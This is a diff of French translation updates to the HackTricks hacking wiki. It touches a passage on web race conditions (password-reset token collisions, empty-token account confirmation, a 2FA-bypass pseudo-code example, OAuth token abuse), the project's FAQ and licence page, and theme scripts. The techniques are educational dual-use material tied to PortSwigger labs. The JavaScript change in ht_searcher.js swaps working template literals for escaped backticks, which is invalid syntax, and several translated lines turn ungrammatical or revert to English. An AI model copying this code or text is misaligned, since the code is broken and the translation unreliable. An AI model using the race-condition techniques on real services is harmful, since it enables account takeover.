-- Utilisez un timing précis, comme une attaque par paquet unique, pour effectuer des requêtes de password reset concurrentes. Des tokens identiques indiquent une vulnérabilité.
+- Utilisez un timing précis, comme une attaque en un seul paquet, pour effectuer des requêtes de password reset concurrentes. Des tokens identiques indiquent une vulnérabilité.
 
 **Exemple :**
 
-- Demandez deux password reset tokens en même temps et comparez-les. Des tokens identiques suggèrent une faiblesse dans la génération des tokens.
+- Demandez deux password reset tokens en même temps et comparez-les. Des tokens identiques suggèrent un défaut dans la génération des tokens.
 
-**Consultez** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **pour essayer ceci.**
+Consultez ce [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) pour l'essayer.
 
-## Études de cas sur les sous-états cachés
+## Cas pratiques de sous-états cachés
 
 ### Payer & ajouter un article
 
-Consultez [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) pour voir comment **payer** dans une boutique et **ajouter un article supplémentaire** que vous **n'aurez pas besoin de payer**.
+Consultez ce [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) pour voir comment **payer** dans une boutique et **ajouter un article supplémentaire** que vous **n'aurez pas besoin de payer**.
 
-### Confirmer d'autres adresses e-mail
+### Confirmer d'autres emails
 
-L'idée est de **vérifier une adresse e-mail et de la remplacer simultanément par une autre** pour vérifier si la plateforme confirme la nouvelle adresse.
+L'idée est de **vérifier une adresse email et de la changer pour une autre en même temps** afin de déterminer si la plateforme vérifie la nouvelle adresse modifiée.
 
-### Changer l'email en 2 adresses e-mail (basé sur Cookie)
+### Changer l'email vers 2 adresses email (basé sur les cookies)
 
-Selon [**this research**](https://portswigger.net/research/smashing-the-state-machine) Gitlab était vulnérable à une prise de contrôle de cette façon parce qu'il pouvait **envoyer** le **token de vérification d'une adresse e-mail à une autre**.
+Selon [**this research**](https://portswigger.net/research/smashing-the-state-machine) Gitlab était vulnérable à une prise de contrôle de cette manière car il pouvait **send** le **email verification token of one email to the other email**.
 
-**Consultez** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **pour essayer ceci.**
+Consultez ce [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) pour l'essayer.
 
-### États cachés de la base de données / Contournement de confirmation
+### États de base de données cachés / Confirmation Bypass
 
-Si **2 écritures différentes** sont utilisées pour **ajouter** **des informations** dans une **base de données**, il existe une courte période où **seules les premières données ont été écrites** dans la base. Par exemple, lors de la création d'un utilisateur le **nom d'utilisateur** et le **mot de passe** peuvent être **écrits**, puis **le token** pour confirmer le compte nouvellement créé est écrit. Cela signifie que pendant un court instant le **token pour confirmer un compte est null**.
+Si **2 different writes** sont utilisées pour **add** des **information** dans une **base de données**, il existe une courte période où **only the first data has been written** dans la base. Par exemple, lors de la création d'un utilisateur, le **username** et le **password** peuvent être **written**, puis le **token** pour confirmer le compte nouvellement créé est écrit. Cela signifie que pendant un petit instant le **token to confirm an account is null**.
 
-Par conséquent, **s'enregistrer et envoyer plusieurs requêtes avec un token vide** (`token=` ou `token[]=` ou toute autre variation) pour confirmer le compte immédiatement pourrait permettre de **confirmer un compte** dont vous ne contrôlez pas l'e-mail.
+Par conséquent, **enregistrer un compte et envoyer plusieurs requêtes avec un token vide** (`token=` or `token[]=` or any other variation) pour confirmer le compte immédiatement pourrait permettre de **confirmer un compte** dont vous ne contrôlez pas l'email.
 
-**Consultez** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **pour essayer ceci.**
+Consultez ce [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) pour l'essayer.
 
-### Contourner le 2FA
+### Bypass 2FA
 
-Le pseudo-code suivant est vulnérable à une race condition parce que pendant un très court laps de temps la **2FA n'est pas appliquée** alors que la session est créée :
+Le pseudo-code suivant est vulnérable à une race condition car pendant un très court laps de temps la **2FA is not enforced** pendant que la session est créée :
 ```python
 session['userid'] = user.userid
 if user.mfa_enabled:
@@ -357,21 +365,21 @@ session['enforce_mfa'] = True
 ```
 ### OAuth2 persistance éternelle
 
-There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Ces services vous permettent de créer une application et d'authentifier les utilisateurs que le provider a enregistrés. Pour ce faire, le **client** devra **autoriser votre application** à accéder à une partie de leurs données chez le **OAUth provider**.\
-Donc, jusqu'ici c'est juste un login commun avec google/linkedin/github... où on vous affiche une page disant : "_Application \<InsertCoolName> veut accéder à vos informations, voulez-vous l'autoriser ?_"
+There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Ces services vous permettent de créer une application et d'authentifier des utilisateurs que le provider a enregistrés. Pour ce faire, le **client** devra **autoriser votre application** à accéder à une partie de leurs données chez le **OAUth provider**.\
+Donc, jusqu'ici c'est juste un login classique avec google/linkedin/github... où on vous affiche une page disant : "_Application \<InsertCoolName> wants to access you information, do you want to allow it?_"
 
-#### Race Condition dans `authorization_code`
+#### Condition de course dans `authorization_code`
 
-Le **problème** apparaît lorsque vous **l'acceptez** et qu'il envoie automatiquement un **`authorization_code`** à l'application malveillante. Ensuite, cette **application abuse d'une Race Condition dans le OAUth service provider pour générer plus d'un AT/RT** (_Authentication Token/Refresh Token_) à partir du **`authorization_code`** pour votre compte. En gros, elle exploite le fait que vous avez autorisé l'application à accéder à vos données pour **créer plusieurs comptes**. Ensuite, si vous **cessez d'autoriser l'application à accéder à vos données, une paire d'AT/RT sera supprimée, mais les autres resteront valides**.
+Le **problème** survient lorsque vous **l'acceptez** et que cela envoie automatiquement un **`authorization_code`** à l'application malveillante. Ensuite, cette **application abuse d'une Race Condition dans le OAUth service provider pour générer plus d'un AT/RT** (_Authentication Token/Refresh Token_) à partir du **`authorization_code`** pour votre compte. En gros, elle profite du fait que vous avez autorisé l'application à accéder à vos données pour **créer plusieurs comptes**. Ensuite, si vous **cessez d'autoriser l'application à accéder à vos données, une paire d'AT/RT sera supprimée, mais les autres resteront valides**.
 
-#### Race Condition dans `Refresh Token`
+#### Condition de course dans `Refresh Token`
 
-Une fois que vous avez **obtenu un RT valide**, vous pouvez essayer de **l'abuser pour générer plusieurs AT/RT** et **même si l'utilisateur annule les permissions** pour l'application malveillante d'accéder à ses données, **plusieurs RT resteront valides.**
+Une fois que vous avez **obtenu un RT valide**, vous pouvez essayer **de l'abuser pour générer plusieurs AT/RT** et **même si l'utilisateur annule les permissions** pour que l'application malveillante accède à ses données, **plusieurs RT resteront valides.**
 
 ## **RC in WebSockets**
 
-- In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) vous pouvez trouver un PoC en Java pour envoyer des messages websocket en **parallèle** afin d'abuser des **Race Conditions aussi dans les Web Sockets**.
-- Avec Burp’s WebSocket Turbo Intruder vous pouvez utiliser le moteur **THREADED** pour lancer plusieurs connexions WS et envoyer des payloads en parallèle. Commencez par l'exemple officiel et ajustez `config()` (nombre de threads) pour la concurrence ; c'est souvent plus fiable que le batching sur une seule connexion lorsqu'on exploite une Race Condition sur l'état côté serveur via les handlers WS. Voir [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py).
+- In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) you can find a PoC in Java to send websocket messages in **parallèle** to abuse **Race Conditions also in Web Sockets**.
+- Avec WebSocket Turbo Intruder de Burp vous pouvez utiliser le moteur **THREADED** pour lancer plusieurs connexions WS et envoyer des payloads en parallèle. Commencez par l'exemple officiel et ajustez `config()` (nombre de threads) pour la concurrence ; cela est souvent plus fiable que d'envoyer en batch sur une seule connexion lorsque vous exploitez une Race Condition de l'état côté serveur via les handlers WS. See [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py).
 
 ## References
 

src/welcome/hacktricks-values-and-faq.md

@@ -1,21 +1,21 @@
-# Valeurs de HackTricks & FAQ
+# Valeurs & FAQ de HackTricks
 
 {{#include ../banners/hacktricks-training.md}}
 
 ## Valeurs de HackTricks
 
 > [!TIP]
-> Voici les **valeurs du projet HackTricks** :
+> Ces sont les **valeurs du projet HackTricks** :
 >
-> - Donner un accès **FREE** à des ressources **EDUCATIONAL hacking** pour **TOUT** Internet.
->  - Hacking, c'est apprendre, et l'apprentissage devrait être aussi gratuit que possible.
+> - Donner un accès **GRATUIT** à des ressources pédagogiques de **hacking** pour **TOUT** Internet.
+>  - Le hacking consiste à apprendre, et l'apprentissage devrait être aussi gratuit que possible.
 >  - Le but de ce livre est de servir de **ressource éducative** complète.
-> - **STORE** des techniques **hacking** remarquables publiées par la communauté en donnant aux **AUTEURS** **ORIGINAUX** tous les **crédits**.
->  - **We don't want the credit from other people**, nous voulons juste stocker des astuces intéressantes pour tout le monde.
->  - Nous rédigeons aussi **nos propres recherches** dans HackTricks.
->  - Dans plusieurs cas nous écrirons simplement **dans HackTricks un résumé des parties importantes** de la technique et **encouragerons le lecteur à visiter le post original** pour plus de détails.
-> - **ORGANIZE** toutes les techniques de hacking dans le livre afin qu'elles soient **PLUS ACCESSIBLES**
->  - L'équipe HackTricks a consacré des milliers d'heures gratuitement **uniquement pour organiser le contenu** afin que les gens puissent **apprendre plus vite**
+> - **STOCKER** d'incroyables techniques de **hacking** publiées par la communauté en donnant aux **AUTEURS** **ORIGINAUX** tous les **crédits**.
+>  - **Nous ne voulons pas les crédits des autres**, nous voulons juste stocker des astuces sympas pour tout le monde.
+>  - Nous écrivons aussi **nos propres recherches** dans HackTricks.
+>  - Dans plusieurs cas, nous écrirons juste **dans HackTricks un résumé des parties importantes** de la technique et **encouragerons le lecteur à visiter le post original** pour plus de détails.
+> - **ORGANISER** toutes les techniques de **hacking** dans le livre pour qu'il soit **PLUS ACCESSIBLE**
+>  - L'équipe HackTricks a consacré des milliers d'heures gratuitement **uniquement à organiser le contenu** afin que les gens puissent **apprendre plus vite**
 
 <figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
 
@@ -25,15 +25,15 @@
 >
 > - **Thank you so much for these resources, how can I thank you?**
 
-Vous pouvez remercier publiquement les équipes HackTricks pour avoir rassemblé toutes ces ressources dans un tweet en mentionnant [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
-Si vous êtes particulièrement reconnaissant vous pouvez aussi [**sponsor the project here**](https://github.com/sponsors/carlospolop).\
-Et n'oubliez pas de **donner une étoile aux projets Github !** (Trouvez les liens ci‑dessous).
+Vous pouvez remercier publiquement les équipes HackTricks pour avoir rassemblé toutes ces ressources en publiant un tweet mentionnant [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
+Si vous êtes particulièrement reconnaissant, vous pouvez aussi [**sponsoriser le projet ici**](https://github.com/sponsors/carlospolop).\
+Et n'oubliez pas de **donner une étoile aux projets Github !** (Trouvez les liens ci-dessous).
 
 > [!TIP]
 >
 > - **How can I contribute to the project?**
 
-Vous pouvez **partager de nouveaux tips et tricks avec la communauté ou corriger des bugs** que vous trouvez dans les livres en envoyant un **Pull Request** vers les pages Github respectives :
+Vous pouvez **partager de nouveaux tips et astuces avec la communauté ou corriger des bugs** que vous trouvez dans les livres en envoyant une **Pull Request** aux pages Github correspondantes:
 
 - [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
 - [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
@@ -44,14 +44,14 @@ N'oubliez pas de **donner une étoile aux projets Github !**
 >
 > - **Can I copy some content from HackTricks and put it in my blog?**
 
-Oui, vous le pouvez, mais **n'oubliez pas de mentionner le(s) lien(s) spécifique(s)** d'où provient le contenu.
+Oui, vous pouvez, mais **n'oubliez pas de mentionner le(s) lien(s) spécifique(s)** d'où le contenu a été pris.
 
 > [!TIP]
 >
 > - **How can I cite a page of HackTricks?**
 
-Tant que le lien **de** la ou des page(s) d'où provient l'information apparaît, c'est suffisant.\
-Si vous avez besoin d'un bibtex vous pouvez utiliser quelque chose comme :
+Tant que le lien **de** la page (ou des pages) d'où vous avez pris l'information apparaît, cela suffit.\
+Si vous avez besoin d'un bibtex, vous pouvez utiliser quelque chose comme :
 ```latex
 @misc{hacktricks-bibtexing,
 author = {"HackTricks Team" or the Authors name of the specific page/trick},
@@ -62,82 +62,82 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
 ```
 > [!WARNING]
 >
-> - **Can I copy all HackTricks in my blog?**
+> - **Puis-je copier l'intégralité de HackTricks sur mon blog ?**
 
 **Je préférerais que non**. Cela **n'avantagera personne** car tout le **contenu est déjà disponible publiquement** dans les livres officiels HackTricks gratuitement.
 
-Si vous craignez qu'il disparaisse, forkez-le sur Github ou téléchargez-le ; comme je l'ai dit, c'est déjà gratuit.
+Si vous craignez qu'il disparaisse, faites-en simplement un fork sur Github ou téléchargez-le, comme je l'ai dit c'est déjà gratuit.
 
 > [!WARNING]
 >
-> - **Why do you have sponsors? Are HackTricks books for commercial purposes?**
+> - **Pourquoi avez-vous des sponsors ? Les livres HackTricks ont-ils des finalités commerciales ?**
 
-La première **valeur** de **HackTricks** est d'offrir des ressources éducatives de hacking **GRATUITES** à **TOUT** le monde. L'équipe HackTricks a **dédié des milliers d'heures** pour proposer ce contenu, encore une fois, **GRATUITEMENT**.
+La première **valeur** de **HackTricks** est d'offrir des ressources éducatives de hacking **GRATUITES** à **TOUT LE MONDE**. L'équipe HackTricks a **consacré des milliers d'heures** pour proposer ce contenu, encore une fois, **GRATUITEMENT**.
 
 Si vous pensez que les livres HackTricks sont faits à des **fins commerciales**, vous avez **COMPLÈTEMENT TORT**.
 
-Nous avons des sponsors parce que, même si tout le contenu est GRATUIT, nous voulons **offrir à la communauté la possibilité d'apprécier notre travail** si elle le souhaite. Par conséquent, nous proposons aux personnes l'option de faire un don à HackTricks via [**Github sponsors**](https://github.com/sponsors/carlospolop), et aux **entreprises de cybersécurité pertinentes** de sponsoriser HackTricks et d'**avoir quelques publicités** dans le livre, les **publicités** étant toujours placées à des endroits où elles sont **visibles** mais **ne perturbent pas le processus d'apprentissage** si quelqu'un se concentre sur le contenu.
+Nous avons des sponsors parce que, même si tout le contenu est GRATUIT, nous souhaitons **offrir à la communauté la possibilité d'apprécier notre travail** si elle le souhaite. Ainsi, nous proposons aux gens l'option de faire un don à HackTricks via [**Github sponsors**](https://github.com/sponsors/carlospolop), et des **entreprises de cybersécurité pertinentes** peuvent sponsoriser HackTricks et **avoir quelques publicités** dans le livre, les **publicités** étant toujours placées à des endroits où elles sont **visibles** mais **n'entravent pas le processus d'apprentissage** si quelqu'un se concentre sur le contenu.
 
-Vous ne trouverez pas HackTricks rempli de publicités agaçantes comme d'autres blogs avec beaucoup moins de contenu que HackTricks, car HackTricks n'est pas fait à des fins commerciales.
+Vous ne trouverez pas HackTricks rempli de publicités agaçantes comme d'autres blogs avec beaucoup moins de contenu que HackTricks, parce que HackTricks n'est pas fait à des fins commerciales.
 
 > [!CAUTION]
 >
-> - **What should I do if some HackTricks page is based on my blog post but it isn't referenced?**
+> - **Que dois‑je faire si une page HackTricks est basée sur mon article de blog mais n'est pas référencée ?**
 
-**Nous sommes vraiment désolés. Cela n'aurait pas dû arriver**. Veuillez nous le faire savoir via Github issues, Twitter, Discord... le lien de la page HackTricks contenant le contenu et le lien de votre blog et **nous vérifierons et l'ajouterons dès que possible**.
+**Nous sommes vraiment désolés. Cela n'aurait pas dû arriver**. Merci de nous le signaler via Github issues, Twitter, Discord... en fournissant le lien de la page HackTricks contenant le contenu et le lien de votre blog et **nous vérifierons et l'ajouterons dès que possible**.
 
 > [!CAUTION]
 >
-> - **What should I do if there is content from my blog in HackTricks and I don't want it there?**
+> - **Que dois‑je faire s'il y a du contenu de mon blog dans HackTricks et que je ne veux pas qu'il y reste ?**
 
-Notez que le fait d'avoir des liens vers votre page dans HackTricks :
+Notez que la présence de liens vers votre page dans HackTricks :
 
 - Améliore votre **SEO**
-- Le contenu est **traduit en plus de 15 langues**, permettant à plus de personnes d'accéder à ce contenu
-- **HackTricks encourage** les gens à **consulter votre page** (plusieurs personnes nous ont dit que depuis qu'une de leurs pages est dans HackTricks, elles reçoivent plus de visites)
+- Le contenu est **traduit en plus de 15 langues**, ce qui permet à plus de personnes d'accéder à ce contenu
+- **HackTricks encourage** les gens à **consulter votre page** (plusieurs personnes nous ont dit que depuis qu'une de leurs pages figure dans HackTricks, elles reçoivent plus de visites)
 
-Cependant, si vous souhaitez toujours que le contenu de votre blog soit retiré de HackTricks, dites-le nous et nous **supprimerons définitivement tous les liens vers votre blog**, ainsi que tout contenu basé dessus.
+Cependant, si vous souhaitez toujours que le contenu de votre blog soit retiré de HackTricks, dites-le nous et nous **supprimerons définitivement tout lien vers votre blog**, ainsi que tout contenu basé dessus.
 
 > [!CAUTION]
 >
-> - **What should I do if I find copy-pasted content in HackTricks?**
+> - **Que dois‑je faire si je trouve du contenu copié-collé dans HackTricks ?**
 
-Nous donnons toujours **tous les crédits aux auteurs originaux**. Si vous trouvez une page avec du contenu copié-collé sans référence de la source originale, faites-le nous savoir et nous **le supprimerons**, **ajouterons le lien avant le texte**, ou **le réécrirons en ajoutant le lien**.
+Nous donnons toujours **tous les crédits aux auteurs originaux**. Si vous trouvez une page avec du contenu copié-collé sans la source originale référencée, faites-le nous savoir et nous **le supprimerons**, **ajouterons le lien avant le texte**, ou **le réécrirons en ajoutant le lien**.
 
 ## LICENSE
 
 Copyright © Tous droits réservés sauf indication contraire.
 
-#### License Summary:
+#### Récapitulatif de la licence :
 
 - Attribution : Vous êtes libre de :
-- Share — copier et redistribuer le matériau sur tout support ou format.
-- Adapt — remixer, transformer et créer à partir du matériau.
+- Share — copier et redistribuer le matériel sur n'importe quel support ou format.
+- Adapt — remixer, transformer et développer le matériel.
 
-#### Additional Terms:
+#### Conditions supplémentaires :
 
-- Third-Party Content : Certaines parties de ce blog/livre peuvent inclure du contenu provenant d'autres sources, comme des extraits d'autres blogs ou publications. L'utilisation de ce contenu est faite selon les principes de l'usage équitable ou avec la permission explicite des détenteurs du droit d'auteur respectifs. Veuillez vous référer aux sources originales pour des informations de licence spécifiques concernant le contenu tiers.
-- Authorship : Le contenu original rédigé par HackTricks est soumis aux termes de cette licence. Il est recommandé d'attribuer ce travail à l'auteur lors du partage ou de l'adaptation.
+- Third-Party Content : Certaines parties de ce blog/livre peuvent inclure du contenu provenant d'autres sources, comme des extraits d'autres blogs ou publications. L'utilisation de ce contenu se fait selon les principes du fair use ou avec l'autorisation explicite des titulaires des droits d'auteur respectifs. Veuillez vous référer aux sources originales pour des informations de licence spécifiques concernant le contenu tiers.
+- Authorship : Le contenu original rédigé par HackTricks est soumis aux termes de cette licence. Vous êtes encouragé à attribuer ce travail à l'auteur lors du partage ou de l'adaptation.
 
-#### Exemptions:
+#### Exceptions :
 
 - Commercial Use : Pour toute demande concernant l'utilisation commerciale de ce contenu, veuillez me contacter.
 
-Cette licence n'accorde aucun droit de marque déposée ou d'image de marque en relation avec le contenu. Toutes les marques et éléments de branding présentés dans ce blog/livre sont la propriété de leurs propriétaires respectifs.
+Cette licence n'accorde aucun droit de marque ou d'image de marque en relation avec le contenu. Toutes les marques et éléments de branding présentés dans ce blog/livre sont la propriété de leurs détenteurs respectifs.
 
-**En accédant ou en utilisant HackTricks, vous acceptez de respecter les termes de cette licence. Si vous n'acceptez pas ces termes, veuillez ne pas accéder à ce site.**
+**En accédant à ou en utilisant HackTricks, vous acceptez de respecter les termes de cette licence. Si vous n'acceptez pas ces termes, veuillez ne pas accéder à ce site.**
 
-## **Disclaimer**
+## **Avertissement**
 
 > [!CAUTION]
-> Ce livre, 'HackTricks', est destiné à des fins éducatives et informatives uniquement. Le contenu de ce livre est fourni « tel quel », et les auteurs et éditeurs ne font aucune déclaration ni garantie de quelque nature que ce soit, expresse ou implicite, quant à l'exhaustivité, l'exactitude, la fiabilité, l'adéquation ou la disponibilité des informations, produits, services ou graphiques associés contenus dans ce livre. Toute confiance que vous accordez à de telles informations relève donc strictement de votre responsabilité.
+> Ce livre, 'HackTricks', est destiné à des fins éducatives et informatives uniquement. Le contenu de ce livre est fourni « tel quel », et les auteurs et éditeurs ne donnent aucune garantie, expresse ou implicite, quant à l'exhaustivité, l'exactitude, la fiabilité, l'adéquation ou la disponibilité des informations, produits, services ou graphiques associés contenus dans ce livre. Toute confiance que vous accordez à ces informations est donc strictement sous votre propre responsabilité.
 >
-> Les auteurs et éditeurs ne pourront en aucun cas être tenus responsables de toute perte ou dommage, y compris, sans s'y limiter, les pertes ou dommages indirects ou consécutifs, ou toute perte ou dommage quelconque résultant d'une perte de données ou de bénéfices découlant de, ou en relation avec, l'utilisation de ce livre.
+> Les auteurs et éditeurs ne pourront en aucun cas être tenus responsables de toute perte ou dommage, y compris, sans s'y limiter, les pertes ou dommages indirects ou consécutifs, ou toute perte ou dommage de quelque nature que ce soit résultant de la perte de données ou de profits découlant de, ou en relation avec, l'utilisation de ce livre.
 >
-> En outre, les techniques et conseils décrits dans ce livre sont fournis à des fins éducatives et informatives uniquement, et ne doivent pas être utilisés pour des activités illégales ou malveillantes. Les auteurs et éditeurs ne cautionnent ni ne soutiennent aucune activité illégale ou contraire à l'éthique, et toute utilisation des informations contenues dans ce livre se fait aux risques et à la discrétion de l'utilisateur.
+> De plus, les techniques et astuces décrites dans ce livre sont fournies à des fins éducatives et informatives uniquement, et ne doivent pas être utilisées pour des activités illégales ou malveillantes. Les auteurs et éditeurs ne cautionnent ni ne soutiennent aucune activité illégale ou contraire à l'éthique, et toute utilisation des informations contenues dans ce livre se fait sous la responsabilité et le jugement de l'utilisateur.
 >
-> L'utilisateur est seul responsable de toute action entreprise sur la base des informations contenues dans ce livre, et doit toujours demander conseil et assistance professionnels lorsqu'il tente de mettre en œuvre l'une des techniques ou conseils décrits dans cet ouvrage.
+> L'utilisateur est seul responsable de toute action entreprise sur la base des informations contenues dans ce livre, et doit toujours demander conseil et assistance professionnels lors de la mise en œuvre des techniques ou astuces décrites ici.
 >
-> En utilisant ce livre, l'utilisateur accepte de dégager les auteurs et éditeurs de toute responsabilité et obligation pour tout dommage, perte ou préjudice pouvant résulter de l'utilisation de ce livre ou de toute information qu'il contient.
+> En utilisant ce livre, l'utilisateur accepte de dégager les auteurs et éditeurs de toute responsabilité pour tous dommages, pertes ou préjudices pouvant résulter de l'utilisation de ce livre ou de l'une des informations qu'il contient.
 
 {{#include ../banners/hacktricks-training.md}}

theme/ai.js

@@ -491,3 +491,4 @@
     handle.addEventListener("touchstart", onStart, { passive: false });
   }
 })();
+

theme/ht_searcher.js

@@ -68,11 +68,11 @@
       const mainReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks/releases/download';
       const cloudReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks-cloud/releases/download';
 
-      const mainTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master']));
-      const cloudTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master']));
+      const mainTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master']));
+      const cloudTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master']));
 
-      const MAIN_REMOTE_SOURCES  = mainTags.map(tag => `${mainReleaseBase}/${tag}/searchindex.js`);
-      const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => `${cloudReleaseBase}/${tag}/searchindex.js`);
+      const MAIN_REMOTE_SOURCES  = mainTags.map(tag => \`\${mainReleaseBase}/\${tag}/searchindex.js\`);
+      const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => \`\${cloudReleaseBase}/\${tag}/searchindex.js\`);
 
       const indices = [];
       const main = await loadWithFallback(MAIN_REMOTE_SOURCES , '/searchindex.js',        false); if(main)  indices.push(main);
@@ -208,3 +208,4 @@
     listOut.classList.toggle('hidden',!docs.length);
   };
 })();
+